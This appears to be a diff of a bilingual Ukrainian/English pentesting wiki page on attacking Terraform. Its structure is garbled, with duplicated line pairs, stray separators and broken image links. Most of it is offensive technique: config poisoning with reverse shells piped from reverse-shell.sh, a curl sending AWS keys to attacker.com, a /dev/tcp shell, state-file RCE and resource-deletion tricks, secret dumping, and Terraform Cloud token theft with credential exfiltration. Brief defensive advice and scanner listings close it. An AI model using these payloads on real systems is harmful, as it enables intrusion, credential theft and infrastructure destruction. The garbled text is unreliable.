HashiCorp Terraform — це **інструмент infrastructure as code**, який дозволяє визначати як **cloud, так і on-prem ресурси** у зрозумілих конфігураційних файлах, які можна версіонувати, повторно використовувати та ділитися. Ви можете використовувати послідовний робочий процес для provisioning та управління усією інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як compute, storage і networking ресурси, а також високорівневими компонентами, такими як DNS записи та SaaS функції.
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
|
||||
#### Як працює Terraform?
|
||||
#### How does Terraform work?
|
||||
|
||||
Terraform створює та керує ресурсами на cloud-платформах і в інших сервісах через їхні API. Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp та спільнота Terraform вже написали **понад 1700 провайдерів** для керування тисячами різних типів ресурсів і сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери в [Terraform Registry](https://registry.terraform.io/), включно з Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багатьма іншими.
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
|
||||
Основний робочий процес Terraform складається з трьох етапів:
|
||||
The core Terraform workflow consists of three stages:
|
||||
|
||||
- **Write:** Ви визначаєте ресурси, які можуть розташовуватися в різних cloud-провайдерах і сервісах. Наприклад, ви можете створити конфігурацію для розгортання додатку на віртуальних машинах у Virtual Private Cloud (VPC) з security groups та load balancer.
|
||||
- **Plan:** Terraform створює execution plan, який описує інфраструктуру, яку буде створено, оновлено або видалено на основі існуючої інфраструктури та вашої конфігурації.
|
||||
- **Apply:** Після погодження Terraform виконує запропоновані операції в правильному порядку, враховуючи залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку пересоздасть VPC, а потім масштабуватиме віртуальні машини.
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
|
||||
.png>)
|
||||
|
||||
### Лабораторія Terraform
|
||||
### Terraform Lab
|
||||
|
||||
Просто встановіть terraform на свій комп'ютер.
|
||||
Just install terraform in your computer.
|
||||
|
||||
Тут у вас є [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) і тут у вас є [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
@@ -55,363 +55,397 @@ Terraform plan is the **most used command** in terraform and developers/solution
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Використання кастомного провайдера**
|
||||
|
||||
Зловмисник може опублікувати [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) у [Terraform Registry](https://registry.terraform.io/) і потім додати його до Terraform-коду у feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Провайдер завантажується під час `init` і виконає шкідливий код, коли буде виконано `plan`
|
||||
|
||||
Приклад можна знайти за адресою [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
|
||||
**Використання зовнішнього посилання**
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
Обидві згадані опції корисні, але не дуже приховані (друга більш прихована, але складніша за першу). Ви можете виконати цю атаку ще більш **скритно**, дотримуючись наступних порад:
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Замість того, щоб додавати rev shell безпосередньо у terraform file, ви можете **завантажити зовнішній ресурс**, який містить rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Код rev shell можна знайти за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- У зовнішньому ресурсі використайте функцію **ref** щоб сховати **terraform rev shell code in a branch** всередині репозиторію, щось на кшталт: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply буде виконано для застосування всіх змін, його також можна зловживати, щоб отримати RCE, інжектуючи **шкідливий Terraform-файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Потрібно лише переконатися, що якийсь payload, як-от наведені нижче, потрапляє у файл `main.tf`:
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Дотримуйтесь **рекомендацій з попередньої техніки**, щоб виконати цю атаку **більш приховано за допомогою зовнішніх посилань**.
|
||||
|
||||
## Витяг секретів
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
Ви можете отримати **дамп секретних значень, що використовуються terraform** запустивши `terraform apply`, додавши до terraform-файлу щось на кшталт:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Зловживання файлами стану Terraform
|
||||
|
||||
У разі, якщо у вас є права запису до terraform state files, але ви не можете змінити terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує декілька цікавих варіантів використання цього файлу. Навіть якщо у вас був би доступ на запис до конфігураційних файлів, використання вектора state файлів часто набагато хитріше, оскільки ви не лишаєте слідів в історії `git`.
|
||||
## Abusing Terraform State Files
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
Можна [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у terraform state file на шкідливий або додати фейковий ресурс, який посилається на шкідливий провайдер.
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) побудований на цьому дослідженні і озброює цей принцип. Ви можете додати фейковий ресурс і вказати будь-яку довільну bash-команду, яку хочете виконати, в атрибуті `command`. Коли запускається `terraform` run, це буде прочитано і виконано як у кроках `terraform plan`, так і `terraform apply`. У випадку кроку `terraform apply`, `terraform` видалить фейковий ресурс зі state file після виконання вашої команди, підчищаючи після себе. Більше інформації та повне демо можна знайти в [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Тоді, щойно `terraform` буде виконано, ваш код запуститься.
|
||||
|
||||
### Видалення ресурсів <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
|
||||
Існує 2 способи знищити ресурси:
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
1. **Вставити ресурс з випадковою назвою у state file, який вказує на реальний ресурс для знищення**
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
|
||||
Оскільки terraform побачить, що ресурс не повинен існувати, його буде знищено (з урахуванням вказаного реального ID ресурсу). Приклад з попередньої сторінки:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Змініть ресурс так, щоб його не можна було оновити (тобто він буде видалений і створений заново)**
|
||||
|
||||
Для екземпляра EC2 достатньо змінити тип екземпляра, щоб terraform видалив його і створив заново.
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
### Замінити заблокований провайдер
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
Якщо ви зіткнетесь із ситуацією, коли `hashicorp/external` було заблоковано, ви можете реалізувати `external` провайдера самостійно таким чином. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати власний форк або реалізацію.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Тоді ви можете використовувати `external` як зазвичай.
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Цей сценарій зловживає Terraform Cloud (TFC) runners під час speculative plans, щоб pivot у цільовий cloud account.
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
|
||||
- Preconditions:
|
||||
- Вкрадіть Terraform Cloud token з машини розробника. CLI зберігає токени у відкритому вигляді в `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Токен має мати доступ до цільової organization/workspace і щонайменше дозвіл `plan`. VCS-backed workspaces блокують `apply` з CLI, але все ще дозволяють speculative plans.
|
||||
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
|
||||
- Дізнайтеся налаштування workspace та VCS через TFC API:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Запустити виконання коду під час speculative plan, використовуючи external data source та Terraform Cloud "cloud" block, щоб націлити VCS-backed workspace:
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Приклад rsync.sh для отримання reverse shell на TFC runner:
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Запустіть спекулятивний план для виконання програми на ephemeral runner:
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Перелічити та exfiltrate інжектовані cloud credentials з runner. Під час запусків TFC інжектує provider credentials через файли та environment variables:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Очікувані файли в робочому каталозі runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Використовуйте короткотривалі облікові дані поза каналом, щоб обійти VCS gates:
|
||||
Expected files on the runner working directory:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
З цими creds зловмисники можуть безпосередньо створювати/змінювати/знищувати ресурси за допомогою native CLIs, минаючи PR-based workflows, які блокують `apply` через VCS.
|
||||
|
||||
- Захисні рекомендації:
|
||||
- Apply least privilege до TFC users/teams та tokens. Аудитуйте memberships і уникайте надміру широких owners.
|
||||
- Обмежте `plan` permission на чутливих VCS-backed workspaces, де це можливо.
|
||||
- Enforce provider/data source allowlists за допомогою Sentinel policies, щоб блокувати `data "external"` або невідомі провайдери. See HashiCorp guidance on provider filtering.
|
||||
- Віддавайте перевагу OIDC/WIF замість статичних cloud credentials; вважайте runners чутливими. Monitor speculative plan runs та unexpected egress.
|
||||
- Виявляйте ексфільтрацію `tfc-*` credential artifacts і надсилайте алерти при підозрілому використанні програми `external` під час планів.
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
|
||||
## Компрометація Terraform Cloud
|
||||
## Compromising Terraform Cloud
|
||||
|
||||
### Використання token
|
||||
### Using a token
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Викрадення цього token дозволяє зловмиснику видавати себе за користувача в межах scope токена.
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Тоді можна виконати довільний код за допомогою **`terraform plan`**, як пояснено в попередньому розділі.
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Якщо runner розміщений у якійсь хмарній середовищі, можна отримати токен principal, прикріпленого до runner, і використовувати його out of band.
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
|
||||
- **GCP files (присутні в поточному робочому каталозі запуску)**
|
||||
- `tfc-google-application-credentials` — JSON-конфіг для Workload Identity Federation (WIF), який вказує Google, як обміняти зовнішню ідентичність.
|
||||
- `tfc-gcp-token` — короткостроковий (≈1 година) GCP access token, на який посилається вищезгадане
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON для web identity federation/OIDC role assumption (переважно над статичними ключами).
|
||||
- `tfc-aws-token` — короткостроковий токен, або потенційно статичні IAM keys, якщо неправильно налаштовано.
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Автоматизовані інструменти аудиту
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні конфігурації в Terraform, CloudFormation, Kubernetes та інших IaC форматах.
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
|
||||
- **Особливості:**
|
||||
- Сканування в реальному часі на предмет вразливостей та проблем відповідності.
|
||||
- Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket).
|
||||
- Автоматизовані pull requests з виправленнями.
|
||||
- Детальні рекомендації щодо усунення.
|
||||
- **Sign Up:** Створіть обліковий запис на [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** — інструмент статичного аналізу коду для Infrastructure as Code (IaC) і також інструмент Software Composition Analysis (SCA) для образів та open source пакетів.
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
|
||||
Він сканує хмарну інфраструктуру, створену за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), або [OpenTofu](https://opentofu.org/) і виявляє проблемні налаштування безпеки та невідповідності політикам за допомогою графового сканування.
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
|
||||
Він виконує [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням open source пакетів і образів на наявність Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
З [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` — це легкий фреймворк тестування, орієнтований на безпеку та відповідність для terraform, який забезпечує можливість negative testing для вашого infrastructure-as-code.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
|
||||
- **відповідність:** Переконатися, що реалізований код відповідає стандартам безпеки та вашим власним стандартам
|
||||
- **розробка, орієнтована на поведінку:** Ми використовуємо BDD майже для всього, чому б не для IaC?
|
||||
- **портативність:** просто встановіть його через `pip` або запустіть у `docker`. Див. [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **передрозгортання:** він перевіряє ваш код перед його розгортанням
|
||||
- **легко інтегрується:** він може запускатися у вашому pipeline (або в git hooks), щоб гарантувати валідацію всіх розгортань.
|
||||
